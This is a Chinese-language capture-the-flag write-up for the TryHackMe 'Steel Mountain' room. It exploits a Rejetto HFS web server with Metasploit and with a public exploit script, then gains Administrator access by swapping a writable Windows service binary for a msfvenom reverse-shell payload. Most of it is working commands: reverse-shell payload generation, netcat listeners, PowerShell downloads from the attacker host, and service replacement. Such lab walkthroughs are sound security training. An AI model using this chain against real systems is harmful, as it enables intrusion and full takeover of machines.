【THM】Steel Mountain-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/steelmountain
本文相关内容:针对Windows目标机器,使用metasploit获取目标的初始访问权限,然后使用powershell枚举Windows权限提升方法,并尝试获得目标机器的Administrator访问权限。
简介
目标机器不响应 ping (ICMP) ,尝试使用 metasploit 获得目标机器(Windows系统)初始访问权限,再使用 powershell脚本进行Windows 权限提升枚举,最后尝试在Windows机器上提升权限到管理员。
启动目标机器,直接使用目标ip地址访问目标站点,查看网页源码,获取第一小题答案:
答题卡
获取目标机的初始访问权限
使用nmap进行端口扫描操作:
nmap -Pn -sV -sC 10.10.42.153
除了默认的80端口之外,目标站点还开放了8080端口提供http服务,查看8080端口的webserver页面:
使用搜索引擎,找到相关漏洞信息,查看CVE编号:
通过漏洞库查询cve编号:https://www.exploit-db.com/
接下来,我们使用 Metasploit 利用和以上cve编号相对应的漏洞,获得一个初始 shell 并查看user.txt内容:
msfconsole -q #跳过提示语打开msf
search Rejetto
use exploit/windows/http/rejetto_hfs_exec
options
set RHOSTS 10.10.42.153
set RPORT 8080
set LHOST 10.14.30.69 #当使用OpenVPN连接到TryHackMe内网时,需要设置该选项为tun0地址
exploit #或者run
shell #由meterpreter shell界面进入Windows shell界面
cd C:\Users\bill\Desktop\
dir
more user.txt
b04763b6fcf51fcd7c13abc7db4fd365
答题卡
权限提升
现在我们在这台机器上有了一个初始 shell,我们可以进一步枚举操作系统信息并查看将权限升级到root的利用点,使用名为“ PowerUp”的 PowerShell 脚本来评估这台 Windows 机器并确定目标机是否存在任何异常和错误配置。
下载脚本到你的本地终端(注意不要使用命令行的形式下载这个脚本,而是复制脚本内容并新建一个ps1文件):
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
一旦脚本保存在本地,就可以通过 meterpreter shell 上传该脚本:
exit #退出刚才进入的Windows shell界面,回到meterpreter shell界面
upload /home/hekeats/TOOLS/PowerUp.ps1
然后我们可以通过meterpreter会话来加载PowerShell扩展,并进入 PowerShell的shell界面并执行脚本:
load powershell
powershell_shell
Import-Module .\PowerUp.ps1
Invoke-AllChecks
查看输出,有一个特定服务的 CanRestart 选项被设置为 true,此选项被设置为 true 后,我们就能够在系统上重新启动此服务;而且这个应用程序的目录也是可写的,这意味着我们可以用一个恶意应用程序替换合法的应用程序,一旦服务重新启动,我们的恶意程序将运行。
ServiceName :AdvancedSystemCareService9
ModifiablePath:C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
msfvenom可用于生成反向shell的payload并将其输出为windows可执行文件,我们用msfvenom来生成一个和之前的应用程序同名的恶意应用程序:
#msfvenom -p windows/shell_reverse_tcp LHOST=<local_ip> LPORT=<local_port> -e x86/shikata_ga_nai -f exe-service -o filename.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.14.30.69 LPORT=1234 -e x86/shikata_ga_nai -f exe -o ASCService.exe
然后可以通过 meterpreter shell (首先通过 CTRL + C 退出 PowerShell 会话)将其上传到目标机器:
upload ASCService.exe
进入普通的windows shell界面,我们先停止合法的服务运行,然后用恶意的二进制程序替换正常的同名应用程序文件:
shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
关于SC命令(Windows shell不区分大小写):
SC命令的格式:SC [Servername] command Servicename [Optionname= Optionvalues]
Servername:指定服务所在的远程服务器的名称。名称必须采用通用命名约定 (UNC) 格式(“\\myserver”)。如果是在本地运行SC.exe,请忽略此参数。
command :如query,start,stop,create,config等
Servicename:服务名,也就是要配置的那个服务的名字,例如你要启动一个服务你就输入sc start +你要启动的服务名称(并非是服务显示名称)。
Optionname= Optionvalues:是选项名和选项的值。
在重新启动服务之前,我们需要在攻击机终端中设置一个netcat侦听器:
nc -nlvp 1234
然后我们可以在 windows shell 中重新启动之前停止的服务:
sc start AdvancedSystemCareService9
一旦之前的服务重新启动,攻击机上的侦听器中将获取到反向 shell。成功获取管理员权限之后,我们可以切换到 Administrator 的 Desktop 目录查看root.txt 文件:
cd C:\Users\Administrator\Desktop
dir
more root.txt
9af5f314f57607c00fd09803a587db80
答题卡
不使用Metasploit获取初始访问权限并提权
注意:此处建议重启目标机。
现在,我们来看看如何在不使用 Metasploit 的情况下获得初始权限和进行权限提升。为此,我们将使用 PowerShell 和 winPEAS 来枚举目标系统并收集相关信息以提权到管理员用户。
我们还是使用之前提到的CVE编号所对应的漏洞来获取初始访问权限,然而,这次我们手动使用exp而不是通过msf来执行exp。
exp链接(一个python脚本):https://www.exploit-db.com/exploits/39161
为了使这种攻击起作用,需要同时激活Web服务器和netcat侦听器,如果你的系统上还没有 netcat 静态二进制文件,那么你可以从GitHub下载。我们还将使用 winPEAS来枚举目标机系统信息。
netcat二进制文件:https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe
winPEAS(在下载页选择winPEASx64.exe):https://github.com/carlospolop/PEASS-ng/releases/tag/20221009
为了方便起见,我新建了一个文件夹放置刚才下载的三个文件(exp脚本使用之前--记得修改好ip和端口,下载的netcat二进制文件要修改名称为nc.exe):
查看exp脚本内容,我们能够发现该脚本已经指定要调用名称为nc.exe的文件
然后需要开启3个独立的终端窗口来完成攻击:
终端1-通过python启用 HTTP web 服务器
#终端界面进入到/home/hekeats/桌面/SteelMountain目录
#python3 -m http.server 8000 无响应
python2 -m SimpleHTTPServer 80
终端2-设置netcat 监听器
nc -nvlp 1234
终端3-执行exp进行攻击(注意所用脚本的python版本)
#终端界面进入到/home/hekeats/桌面/SteelMountain目录
python2 39161.py 10.10.42.153 8080 #第一次执行会将SteelMountain/目录下的nc.exe上传到目标系统
python2 39161.py 10.10.42.153 8080 #第二次执行会发送一个反向shell回连到攻击机监听器
在终端2界面 成功获取目标机的shell:
使用Powershell相关命令将winPEAS脚本拉取到目标系统上:
#使用终端2界面
cd C:\Users\Bill\Desktop
#Format is "powershell -c "command here"
powershell -c wget "http://10.14.30.69/winPEASx64.exe" -outfile "winPEAS.exe"
运行winPEAS脚本(枚举目标系统的信息,如服务名称等):
#使用终端2界面
winPEAS.exe
#我们也可以运行powershell -c 命令手动查找服务名称:powershell -c "Get-Service"
运行winPEAS之后,查看输出的服务信息,观察在运行时"未引用路径"的服务名称:
使用msfvenom生成一个exe形式的反向shell payload,输出的文件名和服务对应的文件名相同(此处payload设置的端口,不要使用刚刚建立普通shell的端口):
#使用终端3界面
msfvenom -p windows/shell_reverse_tcp LHOST=10.14.30.69 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ASCService.exe
然后可以通过 PowerShell 将这些数据传输到目标系统中:
#使用终端2界面
powershell -c wget "http://10.14.30.69/ASCService.exe" -outfile "ASCService.exe"
然后,我们可以停止合法的服务运行,并用我们的恶意二进制文件替换应用程序文件:
sc stop AdvancedSystemCareService9
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
在重新启动服务之前,需要在本地机器上使用创建有效负载时引用的端口设置一个netcat侦听器:
#使用终端3界面
nc -lvnp 4444
当攻击机上的netcat侦听器正在运行时,可以在目标机上重新启动刚才停止的服务:
#终端2界面
sc start AdvancedSystemCareService9
在目标机上重启服务之后,攻击机将获取到反向shell,权限为管理员级别,现在在攻击机界面操作:切换到 Administrator 的 Desktop 目录并获取 root.txt 文件
#在终端3界面
cd C:\Users\Administrator\Desktop
dir
more root.txt
答题卡